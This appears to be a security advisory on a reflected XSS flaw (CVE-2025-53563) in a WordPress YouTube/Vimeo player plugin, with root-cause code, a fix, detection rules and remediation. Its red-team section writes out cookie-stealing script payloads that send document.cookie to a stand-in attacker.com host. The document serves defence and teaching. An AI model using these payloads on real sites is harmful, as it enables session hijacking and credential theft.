CVE-2025-53563

Executive Summary

CVE-2025-53563 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup Youtube Vimeo Video Player and Slider WordPress plugin (version <= 3.8). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session.

Given the plugin’s nature as a WordPress component, this issue is specifically tied to the WordPress ecosystem and does not implicate server-level software like Apache or Nginx. The CVSS score of 7.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) but requires user interaction (clicking a crafted link). The EPSS score of 0.0% indicates low current exploitation activity, but the lack of a patch makes this a persistent risk for all sites running the vulnerable version.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader PHP/WordPress supply chain. Users must verify the integrity of the plugin package (e.g., via checksums) and ensure no tampered versions are installed. The absence of a patch from the vendor (LambertGroup) means that supply chain risk is elevated—users should consider removing or replacing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: High. The vulnerability is trivial to exploit (reflected XSS) and affects a widely used WordPress plugin. Although user interaction is required, social engineering can easily trick users into clicking malicious links. The lack of a patch increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability exists in the video_player_youtube_vimeo plugin, specifically in how it handles user input for shortcode attributes or query parameters. The plugin fails to sanitize or escape input before reflecting it in the generated HTML page. An attacker can craft a URL containing a malicious script payload in a parameter (e.g., ?video_id=<script>alert(1)</script>). When a victim visits this URL, the plugin processes the parameter and outputs it directly into the page without proper encoding, causing the browser to execute the injected script.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying WordPress’s esc_html(), esc_attr(), or wp_kses() functions. This allows arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?page_id=123&video_id=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin reflects the video_id parameter into the page without sanitization.
4. The browser executes the script, sending the victim’s session cookie to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.8):

// In a template or shortcode handler
$video_id = $_GET['video_id'];
echo '<div class="video-player" data-id="' . $video_id . '">';

Patched Code (hypothetical fix):

// Properly escape output
$video_id = isset($_GET['video_id']) ? esc_attr($_GET['video_id']) : '';
echo '<div class="video-player" data-id="' . $video_id . '">';

The patched version uses esc_attr() to encode special characters, preventing script injection. Additionally, input validation (e.g., checking for alphanumeric characters only) would further harden the code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running the vulnerable plugin (version <= 3.8).
• A web server to host the exploit (or use a public request bin).

Exploit Payload:

<!-- Crafted URL -->
https://victim-site.com/?video_id=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

Step-by-Step:

1. Identify a page that uses the plugin’s shortcode (e.g., [youtube_vimeo_video id=""]).
2. Append the malicious parameter to the URL.
3. Send the link to the victim via email or social engineering.
4. The victim’s browser executes the script, exfiltrating cookies.

Advanced Payload (session hijacking):

// Steal cookies and send to attacker
var img = new Image();
img.src = 'https://attacker.com/log.php?cookie=' + encodeURIComponent(document.cookie);

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block reflected XSS patterns (e.g., (?i)<script in query strings).

Honeypot:

• Deploy a fake WordPress page with the vulnerable plugin and monitor for XSS probes.

Mitigation:

• Immediately disable or remove the plugin until a patch is available.
• Implement a Content Security Policy (CSP) to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing video_player_youtube_vimeo with suspicious parameters (e.g., ?video_id=<script>).
  • Outbound connections to attacker-controlled domains from the victim’s browser.
• File IOCs:
  • Modified plugin files (e.g., wp-content/plugins/video_player_youtube_vimeo/) with injected code.
• Log IOCs:
  • Web server logs showing GET /?video_id=<script>...</script> entries.
  • PHP error logs indicating unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_53563_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-53563 in WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53563"
    strings:
        $xss_payload = /(?i)(?:video_id|slider_id)=.*?<script/
        $plugin_path = /wp-content\/plugins\/video_player_youtube_vimeo/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against WordPress Plugin video_player_youtube_vimeo
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'video_id=<script'
            - 'slider_id=<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53563 Reflected XSS Attempt"; flow:to_server,established; content:"video_id"; http_uri; nocase; content:"<script"; http_uri; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove video_player_youtube_vimeo from all WordPress installations.
2. Apply virtual patching – Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing video_id=<script or similar patterns.
3. Audit user input – Ensure all WordPress plugins and themes properly escape output using esc_html(), esc_attr(), or wp_kses().

Long-Term Fix:

• The vendor (LambertGroup) must release a patched version (>= 3.9) that sanitizes all user-supplied input before reflection.
• Until then, consider replacing the plugin with an alternative (e.g., “Video Embed & Thumbnail Generator” or “ARVE Advanced Responsive Video Embedder”).

Monitoring:

• Continuously monitor for exploitation attempts using the provided YARA, Sigma, and Suricata rules.
• Review web server logs for anomalous query parameters.

Valters IT